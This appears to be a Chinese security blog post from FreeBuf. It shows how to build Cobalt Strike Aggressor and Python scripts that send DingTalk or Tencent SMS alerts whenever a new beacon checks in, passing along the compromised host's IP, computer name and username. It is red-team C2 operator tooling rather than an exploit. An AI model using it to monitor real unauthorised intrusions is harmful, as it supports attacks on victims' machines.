freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

实现CobaltStrike上线短信提醒【没用的技巧又增加了】
FreeBuf_327000 2022-01-27 12:58:12 310206
所属地 河北省

前言

hello,师傅们好,我是sunian,你也可以叫我爪巴,距离我上一次写文章还是在上次。
事情是这样的,最近想搞个上线提醒脚本,虽然现在网上有几个现成的(https://github.com/sry309/cobalt_strike_bot.git ),但感觉微信消息太多,email和tg不常看,所以只剩下钉钉可以用一下。后来我又看到了
某个师傅写了cs-sms-send短信消息提醒,嗯,能搞。话不多说,直接开冲。
n9.png

一、钉钉上线提醒

本来想偷懒直接用网上的现成cna脚本的,后来发现markdown信息老是发送不过去。
n10.png
鱼逝,思路如下:
CobaltStrike cna插件脚本检测到上线后,调用python发包

1、钉钉创建新群

发起群聊---> 同学群 ---> 随便起个名CS_bot 创建即可
电脑端貌似不能自己一个人建群,必须要添加个人。(也可能是我没找到)我这里是用手机创建的。
n13.jpg

2、创建个自定义机器人

创建机器人需要电脑端才行。否则就会如下情况
n14.jpg
群设置 ---> 智能群助手 ---> 添加机器人 ---> 自定义机器人
起个名,设置关键词,想设置CobaltStrike的,发现有长度限制,算了,就这样吧
n15.png
生成一个access_token记一下
n16.png

3、cna脚本

大致构想就是:检测IP、计算机名、用户名;
检测到新会话,就运行一遍写好的脚本。
看了下官方文档,嗯,懂了。
Reacting to new Beacons
beacon_initial函数:对新Beacons做出反应。
提示:如果要DNS Beacon,则使用beacon_initial_empty函数。
我这里使用的是https Beacon,所以无所谓。
beacon_info函数:从Beacon session's会话中获取元数据(字段)信息。跟awk差不多。
(last | awk '{print $3}') awk是指定第几行的字段,而beacon_info是可以直接第二个参数指定元数据。如图所示
n20.png
最终经过修改,代码如下
当有主机上线时,获取我们需要的参数,将参数发给py脚本,py脚本再执行将参数发送给钉钉(执行py脚本那里使用绝对路径)

on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
    local('$internalIP $computerName $userName');
    $internalIP = replace(beacon_info($1,"internal")," ","_");
    $computerName = replace(beacon_info($1,"computer")," ","_");
    $userName = replace(beacon_info($1,"user")," ","_");
    $cmd = 'python3 /root/cob4.1/cs_dingding_request.py --computername ' . $computerName . " --internalip " . $internalIP . " --username " . $userName;

    println("Sending dingding Notification: " . $cmd);
    exec($cmd);
}

4、py脚本

py这里就是个简单的发送请求的脚本
接收参数的值,消息类型选择为text,使用isAtAll@所有人,也可以指定用户或手机号,发送给机器人接口
参考官网文档:钉钉官方机器人开发https://open.dingtalk.com/document/group/custom-robot-access

import requests
import json
import argparse

parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()
computername = args.computername
internalip = args.internalip
username = args.username

def msg(text):
    json_text = {
        "msgtype": "text",
        "at": {
            "isAtAll": True
        },
        "text": {
            "content": text
        }
    }
    print(requests.post(api_url, json.dumps(json_text), headers=headers).content)


if __name__ == '__main__':

    token ="这里为钉钉bot_token"
    text = "CobaltStrike主机上线提醒+1\n计算机名: "+computername+"\nIP地址: "+internalip+"\n用户名: "+username+"."

    headers = {'Content-Type': 'application/json;charset=utf-8'}
    api_url = "https://oapi.dingtalk.com/robot/send?access_token=%s" % token
    msg(text)

最后测试启动CS

./teamserver IP地址 密码 .profele(没有可以不用)

启动cna

./agscript IP地址 端口 robot(随便写这是用户) 密码 dingding.cna

最终发送给钉钉的聊天群
n23.png
如果有手表,可以对手表进行设置(以华为为例)
运动健康APP,选择华为手表,点击“消息通知”,选择钉钉 即可
n24.png
n25.jpg

二、短信上线提醒

思路:和刚才钉钉上线提醒一样,CS cna脚本判断是否有新主机,如果有新主机上线,则调用cna脚本,启动python调用腾讯云短信API发送短信,若没有,则cna的beacon_initial继续判断。

1、申请腾讯云短信服务

腾讯云的短信API每个账户前100条免费。
使用腾讯云的短信API需要一个公众号,服务号,企业号或者小程序。
我这里使用的公众号进行的申请。

(1)按照要求先创建签名

n26.png

(2)然后创建模板

n27.png
模板内容如下:

设备:{1} 
用户名:{2} 
计算机名:{3} 
IP地址:{4} 
已上线
(3)获取SDKAppID 和 AppKey

在短信控制台的应用信息里获取这两个值。
n28.png

2、接下来配置SDK

pip install qcloudsms_py
准备必要的参数

appid = 14000xxxxx
appkey = "4fcd263d315340bf57xxxxxxxxxxxxxx"
phone_numbers = ["152xxxxxxx", "181xxxxxxxx"] #手机号可以添加多个
template_id = 74039 #模板ID,在自己的控制台能够看到 
sms_sign = '你自己的签名名称'

这里有点坑,本以为不需要sms_sign这个参数,一直报错“签名格式错误或者签名未审批”,最后还是把他加了回来,并且他会验证,不能随意填写。
最终脚本如下:

#coding:utf-8

from qcloudsms_py import SmsSingleSender
from qcloudsms_py.httpclient import HTTPError
import argparse

parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()
computername = args.computername
internalip = args.internalip[0: 10]
username = args.username

appid = 1400XXXXXX
appkey = "3d3d5XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
phone_numbers = ["180XXXXXXX", "180XXXXXX"] #手机号可以添加多个多个
template_id = XXXXX
sms_sign = 'XXXX公众号'

ssender = SmsSingleSender(appid, appkey)
#单条发送,所以参数phone_numbers[0],想群发自行更改成“SmsMultiSender”
params = ["win", username, computername, internalip]
#固定win,因为在第一行不换行,不咋好看
try:
    result = ssender.send_with_param(86, phone_numbers[0], template_id, params, sign=sms_sign)
except HTTPError as e:
    response = {'result': 1000, 'errmsg': "网络异常发送失败"}
except Exception as e:
    print(e)

print(result)

坑:IP发不过来,报错 模板参数长度限制,每个参数最大只能12
而一个IP占用14。所以我这里IP是去掉了最后3位。(有点无奈)
如果想要去掉长度限制,需申请企业服务。

最后cna脚本则直接将cs_dingding_request.py改为短信发件的py脚本即可
看了一眼,阿里云也可以用短信服务,不过要花钱。总体来说算是个思路吧。

参考文档
https://cloud.tencent.com/document/product/382/37745

最终效果如下:
n29.png

小tips:
以小米手机为例,如果短信被拦截,可以在"设置"-->"骚扰拦截"-->"短信拦截"中设置"关键词白名单",以防短信被吃

三、没活了,看猫猫

我会有猫的!!!
n19.jpg
n18.jpg
n17.jpg

# 渗透测试 # web安全 # 渗透技巧 # 技巧
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_327000 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
红队攻防演练
FreeBuf_327000 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 20 关注者
手把手搭建 k8s docker 漏洞环境
2022-02-04
这可能是netcat最全的使用指南
2020-07-11